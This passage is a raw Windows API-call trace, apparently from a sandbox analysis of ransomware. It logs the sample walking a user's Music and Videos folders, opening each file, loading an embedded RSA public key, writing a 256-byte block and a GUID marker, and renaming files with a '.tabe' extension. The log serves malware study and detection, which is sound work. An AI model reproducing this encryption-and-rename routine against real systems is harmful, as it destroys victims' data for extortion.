hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c5364d0, ftCreationTime.dwHighDateTime=0x1d5de65, ftLastAccessTime.dwLowDateTime=0x59a4b090, ftLastAccessTime.dwHighDateTime=0x1d5df0a, ftLastWriteTime.dwLowDateTime=0x59a4b090, ftLastWriteTime.dwHighDateTime=0x1d5df0a, nFileSizeHigh=0x0, nFileSizeLow=0xde72, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3fHXWZIQu6zG.m4a", cAlternateFileName="3FHXWZ~1.M4A")) returned 1 [0127.769] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\3fHXWZIQu6zG.m4a") returned=".m4a" [0127.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\3fHXWZIQu6zG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\fny5gyiaygax1tk7\\3fhxwziqu6zg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.769] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=56946) returned 1 [0127.769] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.770] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xde4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.770] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.772] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xde72, lpOverlapped=0x0) returned 1 [0127.775] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.775] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.775] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.775] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.776] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.776] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.776] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.776] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.776] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.776] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.776] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.776] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.776] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.776] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.776] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xde72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.776] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.777] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.777] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.777] CloseHandle (hObject=0x618) returned 1 [0127.778] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\3fHXWZIQu6zG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\fny5gyiaygax1tk7\\3fhxwziqu6zg.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\3fHXWZIQu6zG.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\fny5gyiaygax1tk7\\3fhxwziqu6zg.m4a.tabe")) returned 1 [0127.779] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be32b40, ftCreationTime.dwHighDateTime=0x1d5df80, ftLastAccessTime.dwLowDateTime=0x5b10d020, ftLastAccessTime.dwHighDateTime=0x1d5e07d, ftLastWriteTime.dwLowDateTime=0x5b10d020, ftLastWriteTime.dwHighDateTime=0x1d5e07d, nFileSizeHigh=0x0, nFileSizeLow=0x18543, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="oxdaEHQmii8ZhAR_bFD.mp3", cAlternateFileName="OXDAEH~1.MP3")) returned 1 [0127.779] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\oxdaEHQmii8ZhAR_bFD.mp3") returned=".mp3" [0127.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\oxdaEHQmii8ZhAR_bFD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\fny5gyiaygax1tk7\\oxdaehqmii8zhar_bfd.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.779] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=99651) returned 1 [0127.779] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.780] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1851d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.780] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.781] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x18543, lpOverlapped=0x0) returned 1 [0127.782] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.782] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.782] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.782] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.783] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.783] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.783] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.783] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.783] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.783] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.783] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.783] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.783] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.784] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.784] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18543, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.784] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.784] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.784] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.784] CloseHandle (hObject=0x618) returned 1 [0127.785] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\oxdaEHQmii8ZhAR_bFD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\fny5gyiaygax1tk7\\oxdaehqmii8zhar_bfd.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\oxdaEHQmii8ZhAR_bFD.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\fny5gyiaygax1tk7\\oxdaehqmii8zhar_bfd.mp3.tabe")) returned 1 [0127.786] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be32b40, ftCreationTime.dwHighDateTime=0x1d5df80, ftLastAccessTime.dwLowDateTime=0x5b10d020, ftLastAccessTime.dwHighDateTime=0x1d5e07d, ftLastWriteTime.dwLowDateTime=0x5b10d020, ftLastWriteTime.dwHighDateTime=0x1d5e07d, nFileSizeHigh=0x0, nFileSizeLow=0x18543, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="oxdaEHQmii8ZhAR_bFD.mp3", cAlternateFileName="OXDAEH~1.MP3")) returned 0 [0127.787] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.787] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.787] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.787] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\Bbgz9d\\") returned="Bbgz9d\\" [0127.787] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\") returned="sE-NiL1R9vqu7\\" [0127.787] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\") returned="JTvtdCNymG6\\" [0127.787] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.787] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.787] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.787] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.787] PathFindFileNameW (pszPath="") returned="" [0127.787] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\Bbgz9d\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc332f030, ftCreationTime.dwHighDateTime=0x1d5dda7, ftLastAccessTime.dwLowDateTime=0x6b92890, ftLastAccessTime.dwHighDateTime=0x1d5e359, ftLastWriteTime.dwLowDateTime=0x6b92890, ftLastWriteTime.dwHighDateTime=0x1d5e359, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.787] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc332f030, ftCreationTime.dwHighDateTime=0x1d5dda7, ftLastAccessTime.dwLowDateTime=0x6b92890, ftLastAccessTime.dwHighDateTime=0x1d5e359, ftLastWriteTime.dwLowDateTime=0x6b92890, ftLastWriteTime.dwHighDateTime=0x1d5e359, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.787] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x145f1990, ftCreationTime.dwHighDateTime=0x1d5d8d8, ftLastAccessTime.dwLowDateTime=0xd2316120, ftLastAccessTime.dwHighDateTime=0x1d5e491, ftLastWriteTime.dwLowDateTime=0xd2316120, ftLastWriteTime.dwHighDateTime=0x1d5e491, nFileSizeHigh=0x0, nFileSizeLow=0x1cae, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="E1TV UCn.swf", cAlternateFileName="E1TVUC~1.SWF")) returned 1 [0127.787] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\Bbgz9d\\E1TV UCn.swf") returned=".swf" [0127.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\Bbgz9d\\E1TV UCn.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\se-nil1r9vqu7\\bbgz9d\\e1tv ucn.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.788] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=7342) returned 1 [0127.788] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.789] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1c88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.789] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.790] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1cae, lpOverlapped=0x0) returned 1 [0127.790] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.790] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.790] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.791] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.791] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.791] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.791] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.791] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.791] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.791] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.791] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.792] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.792] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.792] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.792] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1cae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.792] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.792] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.792] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.792] CloseHandle (hObject=0x618) returned 1 [0127.793] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\Bbgz9d\\E1TV UCn.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\se-nil1r9vqu7\\bbgz9d\\e1tv ucn.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\Bbgz9d\\E1TV UCn.swf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\se-nil1r9vqu7\\bbgz9d\\e1tv ucn.swf.tabe")) returned 1 [0127.794] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, 